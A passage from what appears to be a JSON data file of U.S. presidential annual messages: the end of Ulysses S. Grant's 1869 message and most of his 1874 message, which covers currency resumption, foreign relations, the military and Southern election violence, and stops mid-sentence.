1869 was $1,084,371.Your attention is respectfully called to the recommendations made by the\nPostmaster-General for authority to change the rate of compensation to the\nmain trunk railroad lines for their services in carrying the mails; for\nhaving post-route maps executed; for reorganizing and increasing the\nefficiency of the special-agency service; for increase of the mail service\non the Pacific, and for establishing mail service, under the flag of the\nUnion, on the Atlantic; and most especially do I call your attention to his\nrecommendation for the total abolition of the franking privilege. This is\nan abuse from which no one receives a commensurate advantage; it reduces\nthe receipts for postal service from 25 to 30 per cent and largely\nincreases the service to be performed. The method by which postage should\nbe paid upon public matter is set forth fully in the report of the\nPostmaster-General.The report of the Secretary of the Interior shows that the quantity of\npublic lands disposed of during the year ending the 30th of June, 1869, was\n7,666,152 acres, exceeding that of the preceding year by 1,010,409 acres.\nOf this amount 2,899,544 acres were sold for cash and 2,737,365 acres\nentered under the homestead laws. The remainder was granted to aid in the\nconstruction of works of internal improvement, approved to the States as\nswamp land, and located with warrants and scrip. The cash receipts from all\nsources were $4,472,886, exceeding those of the preceding year $2,840,140.During the last fiscal year 23,196 names were added to the pension rolls\nand 4,876 dropped therefrom, leaving at its close 187,963. The amount paid\nto pensioners, including the compensation of disbursing agents, was\n$28,422,884, an increase of $4,411,902 on that of the previous year. The\nmunificence of Congress has been conspicuously manifested in its\nlegislation for the soldiers and sailors who suffered in the recent\nstruggle to maintain \"that unity of government which makes us one people.\"\nThe additions to the pension rolls of each successive year since the\nconclusion of hostilities result in a great degree from the repeated\namendments of the act of the 14th of July, 1862, which extended its\nprovisions to cases not falling within its original scope. The large outlay\nwhich is thus occasioned is further increased by the more liberal allowance\nbestowed since that date upon those who in the line of duty were wholly or\npermanently disabled. Public opinion has given an emphatic sanction to\nthese measures of Congress, and it will be conceded that no part of our\npublic burden is more cheerfully borne than that which is imposed by this\nbranch of the service. It necessitates for the next fiscal year, in\naddition to the amount justly chargeable to the naval pension fund, an\nappropriation of $30,000,000.During the year ending the 30th of September, 1869, the Patent Office\nissued 13,762 patents, and its receipts were $686,389, being $213,926 more\nthan the expenditures.Messages and Papers of the Presidents, Ulysses S. Grant, vol. 6, p.3995I would respectfully call your attention to the recommendation of the\nSecretary of the Interior for uniting the duties of supervising the\neducation of freedmen with the other duties devolving upon the Commissioner\nof Education.If it is the desire of Congress to make the census which must be taken\nduring the year 1870 more complete and perfect than heretofore, I would\nsuggest early action upon any plan that may be agreed upon. As Congress at\nthe last session appointed a committee to take into consideration such\nmeasures as might be deemed proper in reference to the census and report a\nplan, I desist from saying more.I recommend to your favorable consideration the claims of the Agricultural\nBureau for liberal appropriations. In a country so diversified in climate\nand soil as ours, and with a population so largely dependent upon\nagriculture, the benefits that can be conferred by properly fostering this\nBureau are incalculable.I desire respectfully to call the attention of Congress to the inadequate\nsalaries of a number of the most important offices of the Government. In\nthis message I will not enumerate them, but will specify only the justices\nof the Supreme Court. No change has been made in their salaries for fifteen\nyears. Within that time the labors of the court have largely increased and\nthe expenses of living have at least doubled. During the same time Congress\nhas twice found it necessary to increase largely the compensation of its\nown members, and the duty which it owes to another department of the\nGovernment deserves, and will undoubtedly receive, its due consideration.There are many subjects not alluded to in this message which might with\npropriety be introduced, but I abstain, believing that your patriotism and\nstatesmanship will suggest the topics and the legislation most conducive to\nthe interests of the whole people. On my part I promise a rigid adherence\nto the laws and their strict enforcement.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 7, 1874", 
+    "speech": "To the Senate and House of Representatives:Since the convening of Congress one year ago the nation has undergone a\nprostration in business and industries such as has not been witnessed with\nus for many years. Speculation as to the causes for this prostration might\nbe indulged in without profit, because as many theories would be advanced\nas there would be independent writers--those who expressed their own views\nwithout borrowing--upon the subject. Without indulging in theories as to\nthe cause of this prostration, therefore, I will call your attention only\nto the fact, and to some plain questions as to which it would seem there\nshould be no disagreement.During this prostration two essential elements of prosperity have been most\nabundant--labor and capital. Both have been largely unemployed. Where\nsecurity has been undoubted, capital has been attainable at very moderate\nrates. Where labor has been wanted, it has been found in abundance, at\ncheap rates compared with what--of necessaries and comforts of life--could\nbe purchased with the wages demanded. Two great elements of prosperity,\ntherefore, have not been denied us. A third might be added: Our soil and\nclimate are unequaled, within the limits of any contiguous territory under\none nationality, for its variety of products to feed and clothe a people\nand in the amount of surplus to spare to feed less favored peoples.\nTherefore, with these facts in view, it seems to me that wise\nstatesmanship, at this session of Congress, would dictate legislation\nignoring the past; directing in proper channels these great elements of\nprosperity to any people. Debt, debt abroad, is the only element that can,\nwith always a sound currency, enter into our affairs to cause any continued\ndepression in the industries and prosperity of our people.A great conflict for national existence made necessary, for temporary\npurposes, the raising of large sums of money from whatever source\nattainable. It made it necessary, in the wisdom of Congress--and I do not\ndoubt their wisdom in the premises, regarding the necessity of the\ntimes--to devise a system of national currency which it proved to be\nimpossible to keep on a par with the recognized currency of the civilized\nworld. This begot a spirit of speculation involving an extravagance and\nluxury not required for the happiness or prosperity of a people, and\ninvolving, both directly and indirectly, foreign indebtedness. The\ncurrency, being of fluctuating value, and therefore unsafe to hold for\nlegitimate transactions requiring money, became a subject of speculation\nwithin itself. These two causes, however, have involved us in a foreign\nindebtedness, contracted in good faith by borrower and lender, which should\nbe paid in coin, and according to the bond agreed upon when the debt was\ncontracted--gold or its equivalent. The good faith of the Government can\nnot be violated toward creditors without national disgrace. But our\ncommerce should be encouraged; American shipbuilding and carrying capacity\nincreased; foreign markets sought for products of the soil and\nmanufactories, to the end that we may be able to pay these debts. Where a\nnew market can be created for the sale of our products, either of the soil,\nthe mine, or the manufactory, a new means is discovered of utilizing our\nidle capital and labor to the advantage of the whole people. But, in my\njudgment, the first step toward accomplishing this object is to secure a\ncurrency of fixed, stable value; a currency good wherever civilization\nreigns; one which, if it becomes superabundant with one people, will find a\nmarket with some other; a currency which has as its basis the labor\nnecessary to produce it, which will give to it its value. Gold and silver\nare now the recognized medium of exchange the civilized world over, and to\nthis we should return with the least practicable delay. In view of the\npledges of the American Congress when our present legal-tender system was\nadopted, and debt contracted, there should be no delay--certainly no\nunnecessary delay--in fixing by legislation a method by which we will\nreturn to specie. To the accomplishment of this end I invite your special\nattention. I believe firmly that there can be no prosperous and permanent\nrevival of business and industries until a policy is adopted--with\nlegislation to carry it out--looking to a return to a specie basis. It is\neasy to conceive that the debtor and speculative classes may think it of\nvalue to them to make so-called money abundant until they can throw a\nportion of their burdens upon others. But even these, I believe, would be\ndisappointed in the result if a course should be pursued which will keep in\ndoubt the value of the legal-tender medium of exchange. A revival of\nproductive industry is needed by all classes; by none more than the holders\nof property, of whatever sort, with debts to liquidate from realization\nupon its sale. But admitting that these two classes of citizens are to be\nbenefited by expansion, would it be honest to give it? Would not the\ngeneral loss be too great to justify such relief? Would it not be just as\nhonest and prudent to authorize each debtor to issue his own legal-tenders\nto the extent of his liabilities? Than to do this, would it not be safer,\nfor fear of overissues by unscrupulous creditors, to say that all debt\nobligations are obliterated in the United States, and now we commence anew,\neach possessing all he has at the time free from incumbrance? These\npropositions are too absurd to be entertained for a moment by thinking or\nhonest people. Yet every delay in preparation for final resumption partakes\nof this dishonesty, and is only less in degree as the hope is held out that\na convenient season will at last arrive for the good work of redeeming our\npledges to commence. It will never come, in my opinion, except by positive\naction by Congress, or by national disasters which will destroy, for a time\nat least, the credit of the individual and the State at large. A sound\ncurrency might be reached by total bankruptcy and discredit of the\nintegrity of the nation and of individuals. I believe it is in the power of\nCongress at this session to devise such legislation as will renew\nconfidence, revive all the industries, start us on a career of prosperity\nto last for many years and to save the credit of the nation and of the\npeople. Steps toward the return to a specie basis are the great requisites\nto this devoutly to be sought for end. There are others which I may touch\nupon hereafter.A nation dealing in a currency below that of specie in value labors under\ntwo great disadvantages: First, having no use for the world's acknowledged\nmedium of exchange, gold and silver, these are driven out of the country\nbecause there is no need for their use; second, the medium of exchange in\nuse being of a fluctuating value--for, after all, it is only worth just\nwhat it will purchase of gold and silver, metals having an intrinsic value\njust in proportion to the honest labor it takes to produce them--a larger\nmargin must be allowed for profit by the manufacturer and producer. It is\nmonths from the date of production to the date of realization. Interest\nupon capital must be charged, and risk of fluctuation in the value of that\nwhich is to be received in payment added. Hence high prices, acting as a\nprotection to the foreign producer, who receives nothing in exchange for\nthe products of his skill and labor except a currency good, at a stable\nvalue, the world over It seems to me that nothing is clearer than that the\ngreater part of the burden of existing prostration, for the want of a sound\nfinancial system, falls upon the working man, who must after all produce\nthe wealth, and the salaried man, who superintends and conducts business.\nThe burden falls upon them in two ways--by the deprivation of employment\nand by the decreased purchasing power of their salaries. It is the duty of\nCongress to devise the method of correcting the evils which are\nacknowledged to exist, and not mine. But I will venture to suggest two or\nthree things which seem to me as absolutely necessary to a return to specie\npayments, the first great requisite in a return to prosperity. The\nlegal-tender clause to the law authorizing the issue of currency by the\nNational Government should be repealed, to take effect as to all contracts\nentered into after a day fixed in the repealing act--not to apply, however,\nto payments of salaries by Government, or for other expenditures now\nprovided by law to be paid in currency, in the interval pending between\nrepeal and final resumption. Provision should be made by which the\nSecretary of the Treasury can obtain gold as it may become necessary from\ntime to time from the date when specie redemption commences. To this might\nand should be added a revenue sufficiently in excess of expenses to insure\nan accumulation of gold in the Treasury to sustain permanent redemption.I commend this subject to your careful consideration, believing that a\nfavorable solution is attainable, and if reached by this Congress that the\npresent and future generations will ever gratefully remember it as their\ndeliverer from a thraldom of evil and disgrace.With resumption, free banking may be authorized with safety, giving the\nsame full protection to bill holders which they have under existing laws.\nIndeed, I would regard free banking as essential. It would give proper\nelasticity to the currency. As more currency should be required for the\ntransaction of legitimate business, new banks would be started, and in turn\nbanks would wind up their business when it was found that there was a\nsuperabundance of currency. The experience and judgment of the people can\nbest decide just how much currency is required for the transaction of the\nbusiness of the country. It is unsafe to leave the settlement of this\nquestion to Congress, the Secretary of the Treasury, or the Executive.\nCongress should make the regulation under which banks may exist, but should\nnot make banking a monopoly by limiting the amount of redeemable paper\ncurrency that shall be authorized. Such importance do I attach to this\nsubject, and so earnestly do I commend it to your attention, that I give it\nprominence by introducing it at the beginning of this message.During the past year nothing has occurred to disturb the general friendly\nand cordial relations of the United States with other powers.The correspondence submitted herewith between this Government and its\ndiplomatic representatives, as also with the representatives of other\ncountries, shows a satisfactory condition of all questions between the\nUnited States and the most of those countries, and with few exceptions, to\nwhich reference is hereafter made, the absence of any points of difference\nto be adjusted.The notice directed by the resolution of Congress of June 17, 1874, to be\ngiven to terminate the convention of July 17, 1858, between the United\nStates and Belgium has been given, and the treaty will accordingly\nterminate on the 1st day of July, 1875. This convention secured to certain\nBelgian vessels entering the ports of the United States exceptional\nprivileges which are not accorded to our own vessels. Other features of the\nconvention have proved satisfactory, and have tended to the cultivation of\nmutually beneficial commercial intercourse and friendly relations between\nthe two countries. I hope that negotiations which have been invited will\nresult in the celebration of another treaty which may tend to the interests\nof both countries.Our relations with China continue to be friendly. During the past year the\nfear of hostilities between China and Japan, growing out of the landing of\nan armed force upon the island of Formosa by the latter, has occasioned\nuneasiness. It is earnestly hoped, however, that the difficulties arising\nfrom this cause will be adjusted, and that the advance of civilization in\nthese Empires may not be retarded by a state of war. In consequence of the\npart taken by certain citizens of the United States in this expedition, our\nrepresentatives in those countries have been instructed to impress upon the\nGovernments of China and Japan the firm intention of this country to\nmaintain strict neutrality in the event of hostilities, and to carefully\nprevent any infraction of law on the part of our citizens.In connection with this subject I call the attention of Congress to a\ngenerally conceded fact--that the great proportion of the Chinese\nimmigrants who come to our shores do not come voluntarily, to make their\nhomes with us and their labor productive of general prosperity, but come\nunder contracts with headmen, who own them almost absolutely. In a worse\nform does this apply to Chinese women. Hardly a perceptible percentage of\nthem perform any honorable labor, but they are brought for shameful\npurposes, to the disgrace of the communities where settled and to the great\ndemoralization of the youth of those localities. If this evil practice can\nbe legislated against, it will be my pleasure as well as duty to enforce\nany regulation to secure so desirable an end.It is hoped that negotiations between the Government of Japan and the\ntreaty powers, looking to the further opening of the Empire and to the\nremoval of various restrictions upon trade and travel, may soon produce the\nresults desired, which can not fail to inure to the benefit of all the\nparties. Having on previous occasions submitted to the consideration of\nCongress the propriety of the release of the Japanese Government from the\nfurther payment of the indemnity under the convention of October 22, 1864,\nand as no action had been taken thereon, it became my duty to regard the\nobligations of the convention as in force; and as the other powers\ninterested had received their portion of the indemnity in full, the\nminister of the United States in Japan has, in behalf of this Government,\nreceived the remainder of the amount due to the United States under the\nconvention of Simonosaki. I submit the propriety of applying the income of\na part, if not of the whole, of this fund to the education in the Japanese\nlanguage of a number of young men to be under obligations to serve the\nGovernment for a specified time as interpreters at the legation and the\nconsulates in Japan. A limited number of Japanese youths might at the same\ntime be educated in our own vernacular, and mutual benefits would result to\nboth Governments. The importance of having our own citizens, competent and\nfamiliar with the language of Japan, to act as interpreters and in other\ncapacities connected with the legation and the consulates in that country\ncan not readily be overestimated.The amount awarded to the Government of Great Britain by the mixed\ncommission organized under the provisions of the treaty of Washington in\nsettlement of the claims of British subjects arising from acts committed\nbetween April 13, 1861, and April 9, 1865, became payable, under the terms\nof the treaty, within the past year, and was paid upon the 21st day of\nSeptember, 1874. In this connection I renew my recommendation, made at the\nopening of the last session of Congress, that a special court be created to\nhear and determine all claims of aliens against the United States arising\nfrom acts committed against their persons or property during the\ninsurrection. It appears equitable that opportunity should be offered to\ncitizens of other states to present their claims, as well as to those\nBritish subjects whose claims were not admissible under the late\ncommission, to the early decision of some competent tribunal. To this end I\nrecommend the necessary legislation to organize a court to dispose of all\nclaims of aliens of the nature referred to in an equitable and satisfactory\nmanner, and to relieve Congress and the Departments from the consideration\nof these questions.The legislation necessary to extend to the colony of Newfoundland certain\narticles of the treaty of Washington of the 8th day of May, 1871, having\nbeen had, a protocol to that effect was signed in behalf of the United\nStates and of Great Britain on the 28th day of May last, and was duly\nproclaimed on the following day. A copy of the proclamation is submitted\nherewith.A copy of the report of the commissioner appointed under the act of March\n19, 1872, for surveying and marking the boundary between the United States\nand the British possessions from the Lake of the Woods to the summit of the\nRocky Mountains is herewith transmitted. I am happy to announce that the\nfield work of the commission has been completed, and the entire line from\nthe northwest corner of the Lake of the Woods to the summit of the Rocky\nMountains has been run and marked upon the surface of the earth. It is\nbelieved that the amount remaining unexpended of the appropriation made at\nthe last session of Congress will be sufficient to complete the office\nwork. I recommend that the authority of Congress be given to the use of the\nunexpended balance of the appropriation in the completion of the work of\nthe commission in making its report and preparing the necessary maps.The court known as the Court of Commissioners of Alabama Claims, created by\nan act of Congress of the last session, has organized and commenced its\nwork, and it is to be hoped that the claims admissible under the provisions\nof the act may be speedily ascertained and paid.It has been deemed advisable to exercise the discretion conferred upon the\nExecutive at the last session by accepting the conditions required by the\nGovernment of Turkey for the privilege of allowing citizens of the United\nStates to hold real estate in the former country, and by assenting to a\ncertain change in the jurisdiction of courts in the latter. A copy of the\nproclamation upon these subjects is herewith communicated.There has been no material change in our relations with the independent\nStates of this hemisphere which were formerly under the dominion of Spain.\nMarauding on the frontiers between Mexico and Texas still frequently takes\nplace, despite the vigilance of the civil and military authorities in that\nquarter. The difficulty of checking such trespasses along the course of a\nriver of such length as the Rio Grande, and so often fordable, is obvious.\nIt is hoped that the efforts of this Government will be seconded by those\nof Mexico to the effectual suppression of these acts of wrong.From a report upon the condition of the business before the American and\nMexican Joint Claims Commission, made by the agent on the part of the\nUnited States, and dated October 28, 1874, it appears that of the 1,017\nclaims filed on the part of citizens of the United States, 483 had been\nfinally decided and 75 were in the hands of the umpire, leaving 462 to be\ndisposed of; and of the 998 claims filed against the United States, 726 had\nbeen finally decided, I was before the umpire, and 271 remained to be\ndisposed of. Since the date of such report other claims have been disposed\nof, reducing somewhat the number still pending; and others have been passed\nupon by the arbitrators. It has become apparent, in view of these figures\nand of the fact that the work devolving on the umpire is particularly\nlaborious, that the commission will be unable to dispose of the entire\nnumber of claims pending prior to the 1st day of February, 1875--the date\nfixed for its expiration. Negotiations are pending looking to the securing\nof the results of the decisions which have been reached and to a further\nextension of the commission for a limited time, which it is confidently\nhoped will suffice to bring all the business now before it to a final\nclose.The strife in the Argentine Republic is to be deplored, both on account of\nthe parties thereto and from the probable effects on the interests of those\nengaged in the trade to that quarter, of whom the United States are among\nthe principal. As yet, so far as I am aware, there has been no violation of\nour neutrality rights, which, as well as our duties in that respect, it\nshall be my endeavor to maintain and observe.It is with regret I announce that no further payment has been received from\nthe Government of Venezuela on account of awards in favor of citizens of\nthe United States. Hopes have been entertained that if that Republic could\nescape both foreign and civil war for a few years its great natural\nresources would enable it to honor its obligations. Though it is now\nunderstood to be at peace with other countries, a serious insurrection is\nreported to be in progress in an important region of that Republic. This\nmay be taken advantage of as another reason to delay the payment of the\ndues of our citizens.The deplorable strife in Cuba continues without any marked change in the\nrelative advantages of the contending forces. The insurrection continues,\nbut Spain has gained no superiority. Six years of strife give to the\ninsurrection a significance which can not be denied. Its duration and the\ntenacity of its adherence, together with the absence of manifested power of\nsuppression on the part of Spain, can not be controverted, and may make\nsome positive steps on the part of other powers a matter of self-necessity.\nI had confidently hoped at this time to be able to announce the arrangement\nof some of the important questions between this Government and that of\nSpain, but the negotiations have been protracted. The unhappy intestine\ndissensions of Spain command our profound sympathy, and must be accepted as\nperhaps a cause of some delay. An early settlement, in part at least, of\nthe questions between the Governments is hoped. In the meantime, awaiting\nthe results of immediately pending negotiations, I defer a further and\nfuller communication on the subject of the relations of this country and\nSpain.I have again to call the attention of Congress to the unsatisfactory\ncondition of the existing laws with reference to expatriation and the\nelection of nationality. Formerly, amid conflicting opinions and decisions,\nit was difficult to exactly determine how far the doctrine of perpetual\nallegiance was applicable to citizens of the United States. Congress by the\nact of the 27th of July, 1868, asserted the abstract right of expatriation\nas a fundamental principle of this Government. Notwithstanding such\nassertion and the necessity of frequent application of the principle, no\nlegislation has been had defining what acts or formalities shall work\nexpatriation or when a citizen shall be deemed to have renounced or to have\nlost his citizenship. The importance of such definition is obvious. The\nrepresentatives of the United States in foreign countries are continually\ncalled upon to lend their aid and the protection of the United States to\npersons concerning the good faith or the reality of whose citizenship there\nis at least great question. In some cases the provisions of the treaties\nfurnish some guide; in others it seems left to the person claiming the\nbenefits of citizenship, while living in a foreign country, contributing in\nno manner to the performance of the duties of a citizen of the United\nStates, and without intention at any time to return and undertake those\nduties, to use the claims to citizenship of the United States simply as a\nshield from the performance of the obligations of a citizen elsewhere.The status of children born of American parents residing in a foreign\ncountry, of American women who have married aliens, of American citizens\nresiding abroad where such question is not regulated by treaty, are all\nsources of frequent difficulty and discussion. Legislation on these and\nsimilar questions, and particularly defining when and under what\ncircumstances expatriation can be accomplished or is to be presumed, is\nespecially needed. In this connection I earnestly call the attention of\nCongress to the difficulties arising from fraudulent naturalization. The\nUnited States wisely, freely, and liberally offers its citizenship to all\nwho may come in good faith to reside within its limits on their complying\nwith certain prescribed reasonable and simple formalities and conditions.\nAmong the highest duties of the Government is that to afford firm,\nsufficient, and equal protection to all its citizens, whether native born\nor naturalized. Care should be taken that a right carrying with it such\nsupport from the Government should not be fraudulently obtained, and should\nbe bestowed only upon full proof of a compliance with the law; and yet\nfrequent instances are brought to the attention of the Government of\nillegal and fraudulent naturalization and of the unauthorized use of\ncertificates thus improperly obtained. In some cases the fraudulent\ncharacter of the naturalization has appeared upon the face of the\ncertificate itself; in others examination discloses that the holder had not\ncomplied with the law, and in others certificates have been obtained where\nthe persons holding them not only were not entitled to be naturalized, but\nhad not even been within the United States at the time of the pretended\nnaturalization. Instances of each of these classes of fraud are discovered\nat our legations, where the certificates of naturalization are presented\neither for the purpose of obtaining passports or in demanding the\nprotection of the legation. When the fraud is apparent on the face of such\ncertificates, they are taken up by the representatives of the Government\nand forwarded to the Department of State. But even then the record of the\ncourt in which the fraudulent naturalization occurred remains, and\nduplicate certificates are readily obtainable. Upon the presentation of\nthese for the issue of passports or in demanding protection of the\nGovernment, the fraud sometimes escapes notice, and such certificates are\nnot infrequently used in transactions of business to the deception and\ninjury of innocent parties. Without placing any additional obstacles in the\nway of the obtainment of citizenship by the worthy and well-intentioned\nforeigner who comes in good faith to cast his lot with ours, I earnestly\nrecommend further legislation to punish fraudulent naturalization and to\nsecure the ready cancellation of the record of every naturalization made in\nfraud.Since my last annual message the exchange has been made of the ratification\nof treaties of extradition with Belgium, Ecuador, Peru, and Salvador; also\nof a treaty of commerce and navigation with Peru, and one of commerce and\nconsular privileges with Salvador; all of which have been duly proclaimed,\nas has also a declaration with Russia with reference to trade-marks.The report of the Secretary of the Treasury, which by law is made directly\nto Congress, and forms no part of this message, will show the receipts and\nexpenditures of the Government for the last fiscal year, the amount\nreceived from each source of revenue, and the amount paid out for each of\nthe Departments of Government. It will be observed from this report that\nthe amount of receipts over expenditures has been but $2,344,882.30 for the\nfiscal year ending June 30, 1874, and that for the current fiscal year the\nestimated receipts over expenditures will not much exceed $9,000,000. In\nview of the large national debt existing and the obligation to add 1 per\ncent per annum to the sinking fund, a sum amounting now to over $34,000,000\nper annum, I submit whether revenues should not be increased or\nexpenditures diminished to reach this amount of surplus. Not to provide for\nthe sinking fund is a partial failure to comply with the contracts and\nobligations of the Government. At the last session of Congress a very\nconsiderable reduction was made in rates of taxation and in the number of\narticles submitted to taxation; the question may well be asked, whether or\nnot, in some instances, unwisely. In connection with this subject, too, I\nventure the opinion that the means of collecting the revenue, especially\nfrom imports, have been so embarrassed by legislation as to make it\nquestionable whether or not large amounts are not lost by failure to\ncollect, to the direct loss of the Treasury and to the prejudice of the\ninterests of honest importers and taxpayers.The Secretary of the Treasury in his report favors legislation looking to\nan early return to specie payments, thus supporting views previously\nexpressed in this message. He also recommends economy in appropriations;\ncalls attention to the loss of revenue from repealing the tax on tea and\ncoffee, without benefit to the consumer; recommends an increase of 10 cents\na gallon on whisky, and, further, that no modification be made in the\nbanking and currency bill passed at the last session of Congress, unless\nmodification should become necessary by reason of the adoption of measures\nfor returning to specie payments. In these recommendations I cordially\njoin.I would suggest to Congress the propriety of readjusting the tariff so as\nto increase the revenue, and at the same time decrease the number of\narticles upon which duties are levied. Those articles which enter into our\nmanufactures and are not produced at home, it seems to me, should be\nentered free. Those articles of manufacture which we produce a constituent\npart of, but do not produce the whole, that part which we do not produce\nshould enter free also. I will instance fine wool, dyes, etc. These\narticles must be imported to form a part of the manufacture of the higher\ngrades of woolen goods. Chemicals used as dyes, compounded in medicines,\nand used in various ways in manufactures come under this class. The\nintroduction free of duty of such wools as we do not produce would\nstimulate the manufacture of goods requiring the use of those we do\nproduce, and therefore would be a benefit to home production. There are\nmany articles entering into \"home manufactures\" which we do not produce\nourselves the tariff upon which increases the cost of producing the\nmanufactured article. All corrections in this regard are in the direction\nof bringing labor and capital in harmony with each other and of supplying\none of the elements of prosperity so much needed.The report of the Secretary of War herewith attached, and forming a part of\nthis message, gives all the information concerning the operations, wants,\nand necessities of the Army, and contains many suggestions and\nrecommendations which I commend to your special attention.There is no class of Government employees who are harder worked than the\nArmy--officers and men; none who perform their tasks more cheerfully and\nefficiently and under circumstances of greater privations and hardships.Legislation is desirable to render more efficient this branch of the public\nservice. All the recommendations of the Secretary of War I regard as\njudicious, and I especially commend to your attention the following: The\nconsolidation of Government arsenals; the restoration of mileage to\nofficers traveling under orders; the exemption of money received from the\nsale of subsistence stores from being covered into the Treasury; the use of\nappropriations for the purchase of subsistence stores without waiting for\nthe beginning of the fiscal year for which the appropriation is made; for\nadditional appropriations for the collection of torpedo material; for\nincreased appropriations for the manufacture of arms; for relieving the\nvarious States from indebtedness for arms charged to them during the\nrebellion; for dropping officers from the rolls of the Army without trial\nfor the offense of drawing pay more than once for the same period; for the\ndiscouragement of the plan to pay soldiers by cheek, and for the\nestablishment of a professorship of rhetoric and English literature at West\nPoint. The reasons for these recommendations are obvious, and are set forth\nsufficiently in the reports attached. I also recommend that the status of\nthe staff corps of the Army be fixed, where this has not already been done,\nso that promotions may be made and vacancies filled as they occur in each\ngrade when reduced below the number to be fixed by law. The necessity for\nsuch legislation is specially felt now in the Pay Department. The number of\nofficers in that department is below the number adequate to the performance\nof the duties required of them by law.The efficiency of the Navy has been largely increased during the last year.\nUnder the impulse of the foreign complications which threatened us at the\ncommencement of the last session of Congress, most of our efficient wooden\nships were put in condition for immediate service, and the repairs of our\nironclad fleet were pushed with the utmost vigor. The result is that most\nof these are now in an effective state and need only to be manned and put\nin commission to go at once into service.Some of the new sloops authorized by Congress are already in commission,\nand most of the remainder are launched and wait only the completion of\ntheir machinery to enable them to take their places as part of our\neffective force.Two iron torpedo ships have been completed during the last year, and four\nof our large double-turreted ironclads are now undergoing repairs. When\nthese are finished, everything that is useful of our Navy, as now\nauthorized, will be in condition for service, and with the advance in the\nscience of torpedo warfare the American Navy, comparatively small as it is,\nwill be found at any time powerful for the purposes of a peaceful nation.Much has been accomplished during the year in aid of science and to\nincrease the sum of general knowledge and further the interests of commerce\nand civilization. Extensive and much-needed soundings have been made for\nhydrographic purposes and to fix the proper routes of ocean telegraphs.\nFurther surveys of the great Isthmus have been undertaken and completed,\nand two vessels of the Navy are now employed, in conjunction with those of\nEngland, France, Germany, and Russia, in observations connected with the\ntransit of Venus, so useful and interesting to the scientific world.The estimates for this branch of the public service do not differ\nmaterially from those of last year, those for the general support of the\nservice being somewhat less and those for permanent improvements at the\nvarious stations rather larger than the corresponding estimate made a year\nago. The regular maintenance and a steady increase in the efficiency of\nthis most important arm in proportion to the growth of our maritime\nintercourse and interests is recommended to the attention of Congress.The use of the Navy in time of peace might be further utilized by a direct\nauthorization of the employment of naval vessels in explorations and\nsurveys of the supposed navigable waters of other nationalities on this\ncontinent, especially the tributaries of the two great rivers of South\nAmerica, the Orinoco and the Amazon. Nothing prevents, under existing laws,\nsuch exploration, except that expenditures must be made in such expeditions\nbeyond those usually provided for in the appropriations. The field\ndesignated is unquestionably one of interest and one capable of large\ndevelopment of commercial interests--advantageous to the peoples reached\nand to those who may establish relations with them.Education of the people entitled to exercise the right of franchise I\nregard essential to general prosperity everywhere, and especially so in\nrepublics, where birth, education, or previous condition does not enter\ninto account in giving suffrage. Next to the public school, the post-office\nis the great agent of education over our vast territory. The rapidity with\nwhich new sections are being settled, thus increasing the carrying of mails\nin a more rapid ratio than the increase of receipts, is not alarming. The\nreport of the Postmaster-General herewith attached shows that there was an\nincrease of revenue in his Department in 1873 over the previous year of\n$1,674,411, and an increase of cost of carrying the mails and paying\nemployees of $3,041,468.91. The report of the Postmaster-General gives\ninteresting statistics of his Department, and compares them with the\ncorresponding statistics of a year ago, showing a growth in every branch of\nthe Department.A postal convention has been concluded with New South Wales, an exchange of\npostal cards established with Switzerland, and the negotiations pending for\nseveral years past with France have been terminated in a convention with\nthat country, which went into effect last August.An international postal congress was convened in Berne, Switzerland, in\nSeptember last, at which the United States was represented by an officer of\nthe Post-Office Department of much experience and of qualification for the\nposition. A convention for the establishment of an international postal\nunion was agreed upon and signed by the delegates of the countries\nrepresented, subject to the approval of the proper authorities of those\ncountries.I respectfully direct your attention to the report of the\nPostmaster-General and to his suggestions in regard to an equitable\nadjustment of the question of compensation to railroads for carrying the\nmails.Your attention will be drawn to the unsettled condition of affairs in some\nof the Southern States.On the 14th of September last the governor of Louisiana called upon me, as\nprovided by the Constitution and laws of the United States, to aid in\nsuppressing domestic violence in that State. This call was made in view of\na proclamation issued on that day by D. B. Penn, claiming that he was\nelected lieutenant-governor in 1872, and calling upon the militia of the\nState to arm, assemble, and drive from power the usurpers, as he designated\nthe officers of the State government. On the next day I issued my\nproclamation commanding the insurgents to disperse within five days from\nthe date thereof, and subsequently learned that on that day they had taken\nforcible possession of the statehouse. Steps were taken by me to support\nthe existing and recognized State government, but before the expiration of\nthe five days the insurrectionary movement was practically abandoned, and\nthe officers of the State government, with some minor exceptions, resumed\ntheir powers and duties. Considering that the present State administration\nof Louisiana has been the only government in that State for nearly two\nyears; that it has been tacitly acknowledged and acquiesced in as such by\nCongress, and more than once expressly recognized by me, I regarded it as\nmy clear duty, when legally called upon for that purpose, to prevent its\noverthrow by an armed mob under pretense of fraud and irregularity in the\nelection of 1872. I have heretofore called the attention of Congress to\nthis subject, stating that on account of the frauds and forgeries committed\nat said election, and because it appears that the returns thereof were\nnever legally canvassed, it was impossible to tell thereby who were chosen;\nbut from the best sources of information at my command I have always\nbelieved that the present State officers received a majority of the legal\nvotes actually cast at that election. I repeat what I said in my special\nmessage of February 23, 1873, that in the event of no action by Congress I\nmust continue to recognize the government heretofore recognized by me.I regret to say that with preparations for the late election decided\nindications appeared in some localities in the Southern States of a\ndetermination, by acts of violence and intimidation, to deprive citizens of\nthe freedom of the ballot because of their political opinions. Bands of\nmen, masked and armed, made their appearance; White Leagues and other\nsocieties were formed; large quantities of arms and ammunition were\nimported and distributed to these organizations; military drills, with\nmenacing demonstrations, were held, and with all these murders enough were\ncommitted to spread terror among those whose political action was to be\nsuppressed, if possible, by these intolerant and criminal proceedings. In\nsome places colored laborers were compelled to vote according to the wishes\nof their employers, under threats of discharge if they acted otherwise; and\nthere are too many instances in which, when these threats were disregarded,\nthey were remorselessly executed by those who made them. I understand that\nthe fifteenth amendment to the Constitution was made to prevent this and a\nlike state of things, and the act of May 31, 1870, with amendments, was\npassed to enforce its provisions, the object of both being to guarantee to\nall citizens the right to vote and to protect them in the free enjoyment of\nthat right. Enjoined by the Constitution \"to take care that the laws be\nfaithfully executed,\" and convinced by undoubted evidence that violations\nof said act had been committed and that a widespread and flagrant disregard\nof it was contemplated, the proper officers were instructed to prosecute\nthe offenders, and troops were stationed at convenient points to aid these\nofficers, if necessary, in the performance of their official duties.\nComplaints are made of this interference by Federal authority; but if said\namendment and act do not provide for such interference under the\ncircumstances as above stated, then they are without meaning, force, or\neffect, and the whole scheme of colored enfranchisement is worse than\nmockery and little better than a crime. Possibly Congress may find it due\nto truth and justice to ascertain, by means of a committee, whether the\nalleged wrongs to colored citizens for political purposes are real or the\nreports thereof were 